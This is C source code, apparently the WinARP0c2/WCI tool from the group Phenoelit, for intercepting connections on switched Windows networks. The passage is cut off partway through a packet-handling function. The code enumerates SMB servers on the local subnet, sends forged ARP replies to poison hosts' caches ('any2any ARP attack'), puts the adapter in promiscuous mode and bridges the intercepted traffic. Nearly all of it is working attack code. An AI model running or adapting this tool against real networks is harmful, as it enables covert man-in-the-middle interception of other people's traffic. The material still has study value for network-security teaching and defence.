/* WCI - Windoze Connection Interceptor
 * WinARP0c2 is the Windoze brother of ARP0c2.c
 *
 * FX <fx@phenoelit.de>
 * Phenoelit (http://www.phenoelit.de)
 *
 * (c) 2k
 *
 * Version (Windoze like not using RCS ...) 2.2,
 * 7/4/99 (this is our [System]Indipendance Day !)
 *
 *
 * ``This code includes parts of software developed by the Politecnico
 * di Torino, and its contributors.''
 *
 * It's unusual for Phenoelit, but greetings go to: 
 *			FtR, Ingopin, Bene, Flori, Zet 
 *			and especially to Packetstorm's Site Master Alan
 *		Thanx for all your support.
 * Additional thanx to Hideaki Ihara, who discovered the SetReadTimeout bug.
 * 
 *
 * --------DESCRIPTION----------
 * WCI is a simple connection interceptor for switched networks and especially for SMB.
 * + ARP redirection/spoofing
 * + automated bridging
 * + automated routing 
 * + automated connection interception for ALL SMB servers in the local subnet
 * + network cleanup on exit
 *
 * 
 * Details:
 * ARP requests are replyed by WCI with it's onw Ethernet address. The real
 * destination is requested with ARP requests or is discovered from other
 * broadcasst traffic.
 * Intercepted traffic is bridged to the next hop gateway or the destination
 * address according to a routing table. 
 * NEW:
 * On startup, WCI enumerates all resources in the Windows netowking environment (SMB) 
 * and intercepts all possible connections (any2any).
 *
 *
 * REQUIRES:
 *		- Packet Driver Developers Pack (http://netgroup-serv.polito.it/winpcap/)
 *		- Packet Driver installed
 *
 * Building on Windoze with VC 6 and the monster cool packet32.lib:
 *		- create a console application workspace
 *		- insert this file in the project
 *		- add path to packet32.h and packet.lib to your settings
 *		- make sure the project links with the following libraries:
 *			mpr.lib wsock32.lib libpcap.lib packet.lib netapi32.lib
 *
 * Usage:
 *	FIRST make sure you have the packet driver installed and working.
 * then:
 * 	wci [-v] [-i <interface number>]
 * 
 * When running, press [t] to display all current tables or [q] to exit.
 *
 * To use a routing table, supply this in SPACE seperated order in a external 
 * file "routes.txt" in the same directory 
 * <network> <netmask> <gateway>
 * <network2> <netmask2> <gateway2>
 * Example:
 * 192.168.2.0 255.255.255.0 192.168.1.1
 * 0.0.0.0 0.0.0.0 192.168.1.254
 *
 *
 * To prevent the interception of enumerated Windoze resources, start with -n.
 * To see a list of interceptable resources, start with -T.
 *
 * LAST WORDS:
 *		We are usually not at home in Windoze environments. Sorry for the terrible port.
 */

#define MAX_INTERCEPTS	2000
#define MAX_ROUTES		64
#define NEXT_PACKETS_TIMEOUT 100
#define INITIAL_PACKETS_TIMEOUT 20
#define ROUTING_FILE	"routes.txt"

// disable useless conversion warnings
#pragma warning (disable:4244)
#pragma warning (disable:4305)
// Windows includes
#include <windows.h>
#include <wingdi.h>
#include <winuser.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <time.h>

// Windows networking includes
#include <winsock.h>
#include <nspapi.h>
#include <winnetwk.h>

// pcap-like packet32 driver for windows
#include <packet32.h>


// stuff unknown to Windoze

/* Ethernet protocol ID's */
#define	ETHERTYPE_IP		0x0800		/* IP */
#define	ETHERTYPE_ARP		0x0806		/* Address resolution */
#define	ETHERTYPE_REVARP	0x8035		/* Reverse ARP */

#define ETH_ALEN		6
#define IP_ALEN			4

struct ether_addr
{
  char ether_addr_octet[ETH_ALEN];
};

/* 10Mb/s ethernet header */
struct ether_header
{
  char  ether_dhost[ETH_ALEN];	/* destination eth addr	*/
  char  ether_shost[ETH_ALEN];	/* source ether addr	*/
  __int16   ether_type;		        /* packet type ID field	*/
};

/* ARP header */
#define ARPOP_REQUEST   1               /* ARP request.  */
#define ARPOP_REPLY     2               /* ARP reply.  */
#define ARPOP_RREQUEST  3               /* RARP request.  */
#define ARPOP_RREPLY    4               /* RARP reply.  */
struct arphdr {
    unsigned short int ar_hrd;          /* Format of hardware address.  */
    unsigned short int ar_pro;          /* Format of protocol address.  */
    unsigned char ar_hln;               /* Length of hardware address.  */
    unsigned char ar_pln;               /* Length of protocol address.  */
    unsigned short int ar_op;           /* ARP opcode (command).  */
    unsigned char __ar_sha[ETH_ALEN];   /* Sender hardware address.  */
    unsigned char __ar_sip[4];          /* Sender IP address.  */
    unsigned char __ar_tha[ETH_ALEN];   /* Target hardware address.  */
    unsigned char __ar_tip[4];          /* Target IP address.  */
};

#define IP_ADDR_LEN		(sizeof(struct in_addr))
/* IP header */
struct iphdr {
        u_char  ihl:4,        /* header length */
        version:4;              /* version */
        u_char  tos;          /* type of service */
        short   tot_len;      /* total length */
        short   id;           /* identification */
        short   off;          /* fragment offset field */
        u_char  ttl;          /* time to live */
        u_char  protocol;     /* protocol */
        short   check;        /* checksum */
        struct  in_addr saddr;
        struct  in_addr daddr;  /* source and dest address */
};

/*************************************************************************
 * after teaching Windows networking 
 *************************************************************************/
/* all paket types which are of some interest for us */
#define PKTYPE_UNKNOWN		0
#define PKTYPE_ARP_REQUEST	1
#define PKTYPE_ARP_RESPONSE	2
#define PKTYPE_ETHER_BCAST	3
#define PKTYPE_IP_BCAST		4
#define PKTYPE_IP		5
#define PKTYPE_IP_THISHOST	6
#define PKTYPE_IP_ORIG		7
#define PKTYPE_WINDOZE_IP_TEST	8
#define PKTYPE_ARP_THISHOST	9
#define PKTYPE_ARP_FAKE		10
#define REFRESH_DELAY	5		/* delay between refreshs */
#define REFRESH_INITIAL	5		/* number of initial refreshs */
#define REFRESH_CHECKS	1		/* seconds between checks */

/* types used:
	target_t		- the replacement for agressive attacks on UN*X
	arptable_t		- ARP table
	routingtable_t	- Routing Table
	refreshtable_t	- Refreshing of kaed ARPs
*/
typedef struct {
	LPSTR				name;
	struct in_addr		ip;
	void				*next;
} target_t;
typedef struct {
	struct ether_addr	eth;
	struct in_addr		ip;
} arptable_t;
typedef struct {
	__int32			network;
	__int32			netmask;
	struct in_addr	gateway;
} routingtable_t;
typedef struct {
    struct ether_addr	eth;			/* who asked (ethernet) */
    struct in_addr		requester_ip;	/* who asked (IP) */
    struct in_addr		requested_ip;	/* which IP was requested */
    time_t				t_check;	/* last refresh send */
    int					fresh_flag;	/* to signal a new entry */
} refreshtable_t;



/* used config */
struct {
	int		verbose;
	int		dontenumerate;
	int		testmode;
	int		device;
} cfg;


/* global variables - first the tables and corresponding counters*/
target_t		*wintargets		=NULL;
arptable_t		arps[MAX_INTERCEPTS];
routingtable_t	routes[MAX_ROUTES];
refreshtable_t	refs[MAX_INTERCEPTS];
unsigned int	arpc,routc,refc;


/* global packetlib variables */
LPADAPTER	lpAdapter = 0;
LPPACKET	lpPacket;
char		*packbuf;

/* skeleton packets */
u_char			pkt_arp_request[(
	sizeof(struct ether_header)+sizeof(struct arphdr))];
u_char			pkt_arp_response[(
	sizeof(struct ether_header)+sizeof(struct arphdr))];

/* other globals */
struct in_addr		local_bcast;


/* prototypes */
void *smalloc(size_t size);
/* ARP management */
void get_hwaddr(void);
int InitializeARP(void);
int	arp_add_entry(struct ether_addr *ethadr, struct in_addr *ipadr);
struct ether_addr	*arp_find_entry(struct in_addr *ipadr);
int	arp_build_skeletons(void);
int	arp_rehonnest(void);
void enumerated_attack(void);
/* ARP network realted */
int	send_ethernet_frame(u_char *frame, int frame_length);
int	arp_request(struct in_addr *ip);
int	arp_respond(struct ether_addr *sha, struct in_addr *sip, struct in_addr *tip);
int	arp_refresh(void);
/* packet32 related */
int InitializePacketlib(void);
void Get_next_packets(void);
void Get_initial_packets(void);
int	identify_ethernet_frame(u_char *frame, int frame_length);
/* routing related*/
int	routing_read_table(char *filename);
struct in_addr	*routing_find_gateway(struct in_addr *dip);
void	bridge_packet(u_char *frame, int frame_length);
/* Windows networking and target enumeration */
void AddWintarget(LPNETRESOURCE res);
BOOL FAR PASCAL EnumerateFunc(LPNETRESOURCE lpnr);
void PrintTestResults();
/* misc */
void usage(char *name);
void cleanup(void);
void print_tables(void);


/************************************************************************
 * Main Program
 ************************************************************************/

int main(int argc, char **argv) {
	/* for this WSAStartup() shit */
	WORD		wVersionRequested; 
	WSADATA		wsaData; 
	/* usual counter */
	int			i;
	int			termsignal;


	memset(&cfg,0,sizeof(cfg));
	/* check the command line options */
	for (i=1;i<argc;i++) {
		switch (argv[i][1]) {

		case 'v':	
			cfg.verbose++;
			break;
		case 'n':
			cfg.dontenumerate++;
			break;
		case 'T':
			cfg.testmode++;
			break;
		case 'i':
			if (argv[++i]==NULL) usage(argv[0]);
			cfg.device=atoi(argv[i]);
			break;
		default:
			usage(argv[0]);
		}
	}


	/* clean the arrays */
	memset(&arps,0,sizeof(arps));
	memset(&routes,0,sizeof(routes));
	memset(&refs,0,sizeof(refs));
	arpc=routc=refc=0;

	/* start Windoze sockets */
	wVersionRequested = MAKEWORD(1, 1); 
    if (WSAStartup(wVersionRequested, &wsaData)!=0) {
		fprintf(stderr,"WinSock went crazy. Or did you try this on NetBIOS ???");
		exit (-1);
	}

	if (InitializeARP()!=0)	return (-1);
	/* read the routing table */
	if (routing_read_table(ROUTING_FILE)!=0) return (-1);

	/* start the enumeration and collect Windoze chicken 
	 * In test mode (-T), the results are displayed followed by an exit */
	if (!cfg.dontenumerate){
		if (cfg.verbose) {
			printf("Enumeration of Windoze network in progress ...\n");
			fflush(stdout);
		}
		EnumerateFunc(NULL);
		if (cfg.testmode) PrintTestResults();

	} else if (cfg.testmode) {
		fprintf(stderr,"Testmode makes no sense without enumeration.\n");
		return (-1);
	}

	/* create the skeleton packets */
	arp_build_skeletons();
	/* make sure we can work like a real OS */
	if (InitializePacketlib()!=0) return (-1);

	/* Initial attack against all enumerated Windoze boxes */
	if (!cfg.dontenumerate) {
		if (PacketSetReadTimeout(lpAdapter,INITIAL_PACKETS_TIMEOUT)==FALSE) {
			fprintf(stderr,"Error: PacketSetReadTimeout() failed\n");
			return (-1);
		}
		enumerated_attack();
	}

	/* (re)set the timeout. Packet32.lib does not like many calls to this */
	if (PacketSetReadTimeout(lpAdapter,NEXT_PACKETS_TIMEOUT)==FALSE) {
		fprintf(stderr,"Error: PacketSetReadTimeout() failed\n");
		return (-1);
	}
	/* ----------
	 * MAIN LOOP 
	 * ---------- */
	termsignal=0;
	while (!termsignal) {

		if (kbhit()) {
			switch (getch()) {
			case 'q': 
				termsignal++;
				if (cfg.verbose) printf("Closing ...\n");
				break;
			case 't':
				print_tables();
				break;
			}
		}


		Get_next_packets();
		arp_refresh();
			
	}
	/* --------------
	 * main loop end
	 * -------------- */


	cleanup();
	return 0;
}



/***********************************************************************
 * Functions 
 ***********************************************************************/

void *smalloc(size_t size) {
	void	*p;

	if ((p=GlobalAlloc(GPTR,size))==NULL) {
		fprintf(stderr,"FATAL and Unhandled: smalloc(): GlobalAlloc() failed\n");
		exit (-2);
	}
	return p;
}

/* ARP management */

/* MICROSOFT's way of finding the local HW addr */
	typedef struct _ASTAT_ {
		ADAPTER_STATUS adapt;
		NAME_BUFFER    NameBuff [30];
	}ASTAT, * PASTAT;

void get_hwaddr(void) {
#define NETBIOS_WARNING			"This program uses NetBIOS calls to determine the" \
								" local HW address of the Ethernet adapter.\n" \
								"This may not work, according to Microsoft.\n At the end" \
								" of this source code is a code part to modify the" \
								" get_hwaddr() call for NT/Win2k\n"
	ASTAT Adapter;
    NCB ncb;


    memset( &ncb, 0, sizeof(ncb) );
    ncb.ncb_command = NCBRESET;
    ncb.ncb_lana_num = 0;

    if (Netbios( &ncb )!=0) {
    	fprintf(stderr,NETBIOS_WARNING);
		exit (-1);
	}

    memset( &ncb, 0, sizeof(ncb) );
    ncb.ncb_command = NCBASTAT;
    ncb.ncb_lana_num = 0;

    strcpy( ncb.ncb_callname,  "*               " );
    ncb.ncb_buffer = (char *) &Adapter;
    ncb.ncb_length = sizeof(Adapter);

    if (Netbios( &ncb )!=0) {
		fprintf(stderr,NETBIOS_WARNING);
		exit (-1);
	} else {
        if (cfg.verbose) 
			printf( "Ethernet Address: %02x:%02x:%02x:%02x:%02x:%02x\n",
                Adapter.adapt.adapter_address[0],
                Adapter.adapt.adapter_address[1],
                Adapter.adapt.adapter_address[2],
                Adapter.adapt.adapter_address[3],
                Adapter.adapt.adapter_address[4],
                Adapter.adapt.adapter_address[5] );

		memcpy(&(arps[0].eth),&Adapter.adapt.adapter_address,ETH_ALEN);
    }
}


/* RETURNS 0 on success or -1 on any kind of error */
int InitializeARP(void){
#define PLEASE_OVERFLOW_ME 512
	char		hostname[PLEASE_OVERFLOW_ME];	/* because lovely Windoze gives no way to
												detemine the length of hostname, we are
												fucked here */
	struct hostent	*hent;

	if (gethostname(hostname,sizeof(hostname))!=0) {
		fprintf(stderr,"Could not get my own hostname\n");
		return (-1);
	}
	if ((hent=gethostbyname(hostname))==NULL) {
		fprintf(stderr,"Hey, could not get the IP for myself >:-7\n");
		return (-1);
	}
	memcpy(&(arps[0].ip),hent->h_addr_list[0],IP_ALEN);
	arpc=1;

	if (cfg.verbose)
		printf("localhost is %s (%s)\n",hostname,inet_ntoa(arps[0].ip));

	get_hwaddr();
	
	return 0;
}


/* adds an entry to the local ARP table if not already in 
 * RETURNS: 0
 */
int	arp_add_entry(struct ether_addr *ethadr, struct in_addr *ipadr) {
    int					in_list_flag=0;
    unsigned int		i;

    /* return if maximum */
    if (arpc>=MAX_INTERCEPTS) return (-1);

    for (i=0;i<arpc;i++) {
		if (
			(!memcmp(ethadr,&(arps[i].eth),ETH_ALEN))
			&&(!memcmp(ipadr,&(arps[i].ip),IP_ADDR_LEN)) ){
			in_list_flag++;
			break;
		}
    }

    if (!in_list_flag) {
		memcpy(&(arps[arpc].eth),ethadr,ETH_ALEN);
		memcpy(&(arps[arpc].ip),ipadr,IP_ADDR_LEN);
		arpc++;

		if (cfg.verbose) {
			printf("ARP entry added: %s %02X:%02X:%02X:%02X:%02X:%02X\n",
				inet_ntoa(arps[arpc-1].ip),
				(unsigned __int8) arps[arpc-1].eth.ether_addr_octet[0],
				(unsigned __int8) arps[arpc-1].eth.ether_addr_octet[1],
				(unsigned __int8) arps[arpc-1].eth.ether_addr_octet[2],
				(unsigned __int8) arps[arpc-1].eth.ether_addr_octet[3],
				(unsigned __int8) arps[arpc-1].eth.ether_addr_octet[4],
				(unsigned __int8) arps[arpc-1].eth.ether_addr_octet[5]);
		}
    }

    return 0;
} 


/* returns the eth addr for an IP address of NULL if not found */
struct ether_addr	*arp_find_entry(struct in_addr *ipadr) {
    unsigned int		i;

    for (i=0;i<arpc;i++) {
		if (!memcmp(ipadr,&(arps[i].ip),IP_ADDR_LEN)) {
			return &(arps[i].eth);
		}
    }

    return NULL;
}


/* builds the skeleton packets later used to issue ARP requests or replys 
 * RETURNS 0*/
int	arp_build_skeletons(void) {
    struct ether_header		*ethreq,*ethresp;
    struct arphdr		*arpreq,*arpresp;
    char			eth_bcast[6] = {0xFF,0xFF,0xFF,0xFF,0xFF,0xFF};

    memset(&pkt_arp_response,0,sizeof(pkt_arp_response));
    memset(&pkt_arp_request,0,sizeof(pkt_arp_request));

    ethreq=(struct ether_header *)pkt_arp_request;
    ethresp=(struct ether_header *)pkt_arp_response;
    arpreq=(struct arphdr *)(pkt_arp_request+sizeof(struct ether_header));
    arpresp=(struct arphdr *)(pkt_arp_response+sizeof(struct ether_header));

    ethresp->ether_type= ethreq->ether_type = htons(ETHERTYPE_ARP);
    arpresp->ar_hrd= arpreq->ar_hrd= htons(1);
    arpresp->ar_pro= arpreq->ar_pro= htons(0x0800);
    arpresp->ar_hln= arpreq->ar_hln= 6;
    arpresp->ar_pln= arpreq->ar_pln= 4;

    /* on request, we are the sender and the destination is broadcast */
    arpreq->ar_op=htons(ARPOP_REQUEST);
    memcpy(&(ethreq->ether_shost),&(arps[0].eth),ETH_ALEN);
    memcpy(&(arpreq->__ar_sha),&(arps[0].eth),ETH_ALEN);
    memcpy(&(arpreq->__ar_sip),&(arps[0].ip),IP_ADDR_LEN);
    memcpy(&(ethreq->ether_dhost),&eth_bcast,ETH_ALEN);
    memset(&(arpreq->__ar_tha),0,ETH_ALEN);

    /* on response, the 'sender' hardware address is me, even on LLC, but the
     * IP is the requested */
    arpresp->ar_op=htons(ARPOP_REPLY);
    memcpy(&(arpresp->__ar_sha),&(arps[0].eth),ETH_ALEN);
    memcpy(&(ethresp->ether_shost),&(arps[0].eth),ETH_ALEN);

    return 0;
}


/* send's the ethernet frame, 
 * RETURNS 0 on success or -1 on error */
int	send_ethernet_frame(u_char *frame, int frame_length) {
	LPPACKET	sendpack;
	u_char		*sendframe;

	if((sendpack = PacketAllocatePacket())==NULL){
		fprintf(stderr,"Error:failed to allocate the LPPACKET structure.");
		return (-1);
	}

	sendframe=(u_char *)smalloc(frame_length);
	memcpy(sendframe,frame,frame_length);
	
	PacketInitPacket(sendpack,sendframe,frame_length);
	PacketSetNumWrites(lpAdapter,1);
	if (PacketSendPacket(lpAdapter,sendpack,TRUE)==FALSE) {
		fprintf(stderr,"PacketSendPacket() failed\n");
		return (-1);
	}

	GlobalFree(sendframe);

	return 0;
}

/* send out an ARP request 
 * RETURNS 0 */
int	arp_request(struct in_addr *ip) {
    struct arphdr		*arph;

    arph=(struct arphdr *)(pkt_arp_request+sizeof(struct ether_header));
    memcpy(&(arph->__ar_tip),ip,IP_ADDR_LEN);

    send_ethernet_frame(pkt_arp_request,sizeof(pkt_arp_request));
    return 0;
}

    
int	arp_respond(
	/* who (eth) asked,       asking IP,           requested IP */
	struct ether_addr *sha, struct in_addr *sip, struct in_addr *tip) {

    struct arphdr			*arph;
    struct ether_header		*ethh;
    unsigned int			i;
    int						in_list_flag=0;

    /* if refreshes are in the maximum, return now */
    if (refc>=MAX_INTERCEPTS) return (-1);

    arph=(struct arphdr *)(pkt_arp_response+sizeof(struct ether_header));
    ethh=(struct ether_header *)pkt_arp_response;

    memcpy(&(ethh->ether_dhost),sha,ETH_ALEN);
    memcpy(&(arph->__ar_tha),sha,ETH_ALEN);
    memcpy(&(arph->__ar_tip),sip,IP_ADDR_LEN);
    memcpy(&(arph->__ar_sip),tip,IP_ADDR_LEN);

    send_ethernet_frame(pkt_arp_response,sizeof(pkt_arp_response));

    printf("ARP response send to %s ",inet_ntoa(*sip));
	printf("claiming to be %s\n",inet_ntoa(*tip));
    
    /* look in the refresh list if we already have this combi */
    for (i=0;i<refc;i++) {
		if (
				(!memcmp(&(refs[i].eth),sha,ETH_ALEN))
				&&(!memcmp(&(refs[i].requester_ip),sip,IP_ADDR_LEN))
				&&(!memcmp(&(refs[i].requested_ip),tip,IP_ADDR_LEN)) ) {
			refs[i].fresh_flag=0;
			in_list_flag++;
		}
    }

    if (!in_list_flag) {
		/*add this connection to the refreshlist if new */
		memcpy(&(refs[refc].eth),sha,ETH_ALEN);
		memcpy(&(refs[refc].requester_ip),sip,IP_ADDR_LEN);
		memcpy(&(refs[refc].requested_ip),tip,IP_ADDR_LEN);
		refs[refc].t_check=time(NULL);
		refs[refc].fresh_flag=0;
		refc++;
    }

    return 0;
}


/* sends out all ARP refresh messages on time 
 * RETURNS 0 */
int	arp_refresh(void) {
    struct arphdr			*arph;
    struct ether_header		*ethh;
    unsigned int			i;

    arph=(struct arphdr *)(pkt_arp_response+sizeof(struct ether_header));
    ethh=(struct ether_header *)pkt_arp_response;

    for (i=0;i<refc;i++) {

		if ((refs[i].t_check+REFRESH_DELAY)<time(NULL)) {

			if (cfg.verbose>2) 
				printf("REFRESH (time): to %s (%ld)\n",
					inet_ntoa(refs[i].requester_ip),time(NULL));

			memcpy(&(ethh->ether_dhost),&(refs[i].eth),ETH_ALEN);
			memcpy(&(arph->__ar_tha),&(refs[i].eth),ETH_ALEN);
			memcpy(&(arph->__ar_tip),&(refs[i].requester_ip),IP_ADDR_LEN);
			memcpy(&(arph->__ar_sip),&(refs[i].requested_ip),IP_ADDR_LEN);

			send_ethernet_frame(pkt_arp_response,sizeof(pkt_arp_response));

			refs[i].t_check=time(NULL);

		} else if (refs[i].fresh_flag<REFRESH_INITIAL) {

			refs[i].fresh_flag++;

			if (cfg.verbose>2) 
				printf("REFRESH (new): to %s\n",
					inet_ntoa(refs[i].requester_ip));

			memcpy(&(ethh->ether_dhost),&(refs[i].eth),ETH_ALEN);
			memcpy(&(arph->__ar_tha),&(refs[i].eth),ETH_ALEN);
			memcpy(&(arph->__ar_tip),&(refs[i].requester_ip),IP_ADDR_LEN);
			memcpy(&(arph->__ar_sip),&(refs[i].requested_ip),IP_ADDR_LEN);

			send_ethernet_frame(pkt_arp_response,sizeof(pkt_arp_response));

			refs[i].t_check=time(NULL);
		}
    }

    return 0;
}


/* on close, be honnest to the hosts and tell them what you know */
int	arp_rehonnest(void) {
    struct arphdr			*arph;
    struct ether_header		*ethh;
    struct ether_addr		*ea;
    unsigned int			i;

    arph=(struct arphdr *)(pkt_arp_response+sizeof(struct ether_header));
    ethh=(struct ether_header *)pkt_arp_response;

    if (cfg.verbose>1) 
	printf("Cleaning up the network ...\n");

    for (i=0;i<refc;i++) {

		if ((ea=arp_find_entry(&(refs[i].requested_ip)))!=NULL) {
			memcpy(&(ethh->ether_dhost),&(refs[i].eth),ETH_ALEN);
			memcpy(&(arph->__ar_tha),&(refs[i].eth),ETH_ALEN);
			memcpy(&(arph->__ar_tip),&(refs[i].requester_ip),IP_ADDR_LEN);
			memcpy(&(arph->__ar_sip),&(refs[i].requested_ip),IP_ADDR_LEN);
			memcpy(&(arph->__ar_sha),ea,ETH_ALEN);

			if (cfg.verbose) {
				printf("Telling %s ",inet_ntoa(refs[i].requester_ip));
				printf("that %s is at %02X:%02X:%02X:%02X:%02X:%02X\n",
					inet_ntoa(refs[i].requested_ip),
					(unsigned __int8) ea->ether_addr_octet[0],
					(unsigned __int8) ea->ether_addr_octet[1],
					(unsigned __int8) ea->ether_addr_octet[2],
					(unsigned __int8) ea->ether_addr_octet[3],
					(unsigned __int8) ea->ether_addr_octet[4],
					(unsigned __int8) ea->ether_addr_octet[5]);
			}

			send_ethernet_frame(pkt_arp_response,sizeof(pkt_arp_response));
		}
    }

    return 0;
}


void enumerated_attack(void) {

#define INITIAL_TIMER	10
	time_t		start;
	target_t	*t,*t2;
	struct ether_addr	*ea_t, *ea_t2;


	t=wintargets;

	if (cfg.verbose)
		printf("\nStarting ARP requests for enumerated servers...\n");
	start=time(NULL);
	while ((start+INITIAL_TIMER)>time(NULL)) {
		/* try the resolving for INITIAL_TIMER seconds */
		if (t) {
			arp_request(&(t->ip));
			t=t->next;
		}
		Get_initial_packets();
	}

	if (cfg.verbose)
		printf("Starting enumeration any2any ARP attack ...\n");

	t=wintargets;
	while (t) {
		/* if we could not ARP-resolve this host, skip it */
		if ((ea_t=arp_find_entry(&(t->ip)))==NULL) {
			t=t->next;
			continue;
		}

		t2=wintargets;
		while (t2) {
			/* skip if both hosts are the same */
			if (t2==t) {
				t2=t2->next;
				continue;
			}

			/* if we could not ARP-resolve this host, skip it */
			if ((ea_t2=arp_find_entry(&(t2->ip)))==NULL) {
				t2=t2->next;
				continue;
			}

			arp_respond(ea_t,&(t->ip),&(t2->ip));
			arp_respond(ea_t2,&(t2->ip),&(t->ip));

			t2=t2->next;

		}

		t=t->next;
	}

	if (cfg.verbose)
		printf("Enumeration any2any ARP attack complete\n\n");

}


/* packet32 related */

/* RETURNS 0 on success or -1 on error 
 *
 * This code is ripped off the TestApp.c example program
 */
int InitializePacketlib(void) {
#define Max_Num_Adapter	10
	int			i;
	DWORD		dwErrorCode;
	DWORD		dwVersion;
	DWORD		dwWindowsMajorVersion;
	//unicode strings (winnt)
	WCHAR		AdapterName[512]; // string that contains a list of the network adapters
	WCHAR		*temp,*temp1;
	//ascii strings (win95)
	char		AdapterNamea[512]; // string that contains a list of the network adapters
	char		*tempa,*temp1a;
	int			AdapterNum=0,Open;
	ULONG		AdapterLength;
	char        AdapterList[Max_Num_Adapter][1024];

	
	if ((packbuf=GlobalAlloc(GPTR,512000))==NULL) {
		fprintf(stderr,"Failed to get the 512k packet buffer\n");
		return (-1);
	}

	// obtain the name of the adapters installed on this machine
	AdapterLength=512;
	
	if (!cfg.device) printf("Adapters installed:\n");
	i=0;	
	// the data returned by PacketGetAdapterNames is different in Win95 and in WinNT.
	// We have to check the os on which we are running
	dwVersion=GetVersion();
	dwWindowsMajorVersion =  (DWORD)(LOBYTE(LOWORD(dwVersion)));
	if (!(dwVersion >= 0x80000000 && dwWindowsMajorVersion >= 4)) {  // Windows NT
		PacketGetAdapterNames((char *)AdapterName,&AdapterLength);
		temp=AdapterName;
		temp1=AdapterName;
		while ((*temp!='\0')||(*(temp-1)!='\0'))
		{
			if (*temp=='\0') 
			{
				memcpy(AdapterList[i],temp1,(temp-temp1)*2);
				temp1=temp+1;
				i++;
			}
		temp++;
		}
	  	AdapterNum=i;

		if (!cfg.device) {
			for (i=0;i<AdapterNum;i++)
				wprintf(L"\n%d- %s\n",i+1,AdapterList[i]);
		}
	} else { //windows 95
		PacketGetAdapterNames(AdapterNamea,&AdapterLength);
		tempa=AdapterNamea;
		temp1a=AdapterNamea;

		while ((*tempa!='\0')||(*(tempa-1)!='\0'))
		{
			if (*tempa=='\0') 
			{
				memcpy(AdapterList[i],temp1a,tempa-temp1a);
				temp1a=tempa+1;
				i++;
			}
			tempa++;
		}
		AdapterNum=i;

		if (!cfg.device) {
			for (i=0;i<AdapterNum;i++)
				printf("\n%d- %s\n",i+1,AdapterList[i]);
		}
	} // end of OS-Shit

	if (!cfg.device) {
		do {
			printf("Select the number of the adapter to open : ");
			scanf("%d",&Open);
			if (Open>AdapterNum) printf("\nThe number must be smaller than %d",AdapterNum); 
		} while (Open>AdapterNum);
	} else if ((Open=cfg.device)>AdapterNum) {
		fprintf(stderr,"This adapter number is out of range\nValid are:\n");
		for (i=0;i<AdapterNum;i++)
				printf("\n%d- %s\n",i+1,AdapterList[i]);
		return (-1);
	}

	lpAdapter =   PacketOpenAdapter(AdapterList[Open-1]);
	
	if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
	{
		dwErrorCode=GetLastError();
		printf("Unable to open the driver, Error Code : %lx\n",dwErrorCode); 
		return(-1);
	}	

	// set the network adapter in promiscuous mode
	PacketSetHwFilter(lpAdapter,NDIS_PACKET_TYPE_PROMISCUOUS);
	// set a 512K buffer in the driver
	PacketSetBuff(lpAdapter,512000);
	
	//allocate and initialize a packet structure that will be used to
	//receive the packets.
	if((lpPacket = PacketAllocatePacket())==NULL){
		fprintf(stderr,"Failed to allocate the LPPACKET structure.\n");
		return (-1);
	}
	PacketInitPacket(lpPacket,(char*)packbuf,512000); 

	if (cfg.verbose)
		printf("Adapter %s open\n",AdapterList[Open-1]);

	return (0);
}

/* reads the next packets form the wire (system buffer) 
 * and handles them 
 * NOTE: this is the function for the main loop. Initial ARP
 *       discovery is done in a different function (Get_initial_packets()).
 *       This behavior is not really cool, but makes the code 
 *       more readable. */
void Get_next_packets(void) {
	/* pointer */
	struct bpf_hdr		*cf;
	char				*frptr,*rawframe;
	/* for packets in buffer calculation (from TestApp.c) */
	unsigned long		ulBytesReceived;
	unsigned int		off=0;
	unsigned int		tlen1;
	/* for the function calls */
	struct ether_header		*ethh;
    struct iphdr		*iph;
    struct arphdr		*arph;


	if(PacketReceivePacket(lpAdapter,lpPacket,TRUE)==FALSE){
		printf("Error: PacketReceivePacket failed");
		return;
	}

	if ((!lpPacket)||((ulBytesReceived=lpPacket->ulBytesReceived)==0)) return;


	frptr = lpPacket->Buffer;
	off=0;
	
	while(off<ulBytesReceived){	
	
			cf=(struct bpf_hdr *)(frptr+off);
			tlen1=cf->bh_datalen;
			off+=cf->bh_hdrlen;

			rawframe =(char*)(frptr+off);
			off=Packet_WORDALIGN(off+tlen1);

			ethh=(struct ether_header *)rawframe;
			arph=(struct arphdr *)(rawframe+sizeof(struct ether_header));
			iph=(struct iphdr *)(rawframe+sizeof(struct ether_header));

			/* now, rawframe should contain the real packet */
			switch (identify_ethernet_frame(rawframe,cf->bh_caplen)) {
				case PKTYPE_UNKNOWN:	/* we don't know it */
					if (cfg.verbose>1) printf("received an unknown packet type\n");
					break;
				case PKTYPE_ARP_REQUEST:
					if (cfg.verbose>1) printf("ARP request received\n");
					/* send the faked reply */
					arp_respond(
						(struct ether_addr *)&arph->__ar_sha,
						(struct in_addr *)&arph->__ar_sip,
						(struct in_addr *)arph->__ar_tip);
					/* add the sender to out ARP list */
					arp_add_entry(
						(struct ether_addr *)&(arph->__ar_sha),
						(struct in_addr *)&(arph->__ar_sip));
					/* request the real target hw addr */
					arp_request((struct in_addr *)&(arph->__ar_tip));
					break;
				case PKTYPE_ARP_RESPONSE:
					if (cfg.verbose>1) printf("ARP response received\n");
					arp_add_entry(
						(struct ether_addr *)&(arph->__ar_sha),
						(struct in_addr *)&(arph->__ar_sip));
					break;
				case PKTYPE_ETHER_BCAST:
					if (cfg.verbose>1) printf("Ethernet broadcast received\n");
					break;
				case PKTYPE_IP_BCAST:
					if (cfg.verbose>1) printf("IP broadcast received\n");
					arp_add_entry(
						(struct ether_addr *)&(ethh->ether_shost),
						(struct in_addr *)&(iph->saddr));
					break;
				case PKTYPE_IP:
					if (cfg.verbose>1) printf("Intercepted IP packet received\n");
					bridge_packet(rawframe,cf->bh_caplen); 
					break;
				case PKTYPE_IP_THISHOST:
					if (cfg.verbose>1) printf("IP packet from/to this host received\n");
					break;
				case PKTYPE_ARP_THISHOST:
					if (cfg.verbose>1) printf("ARP request from this host received\n");
					break;
				case PKTYPE_IP_ORIG:
					if (cfg.verbose>1) printf("Unintercepted IP packet received\n");
					break;
				case PKTYPE_ARP_FAKE:
					if (cfg.verbose>1) printf("Fake ARP response packet from this host\n");
					break;
				default:
					if (cfg.verbose>1) printf("packet identification failed\n");
			} // end of switch
	} // end of while loop, which processes the packets in one buffer
}


void Get_initial_packets(void) {
	/* pointer */
	struct bpf_hdr		*cf;
	char				*frptr,*rawframe;
	/* for packets in buffer calculation (from TestApp.c) */
	unsigned long		ulBytesReceived;
	unsigned int		off=0;
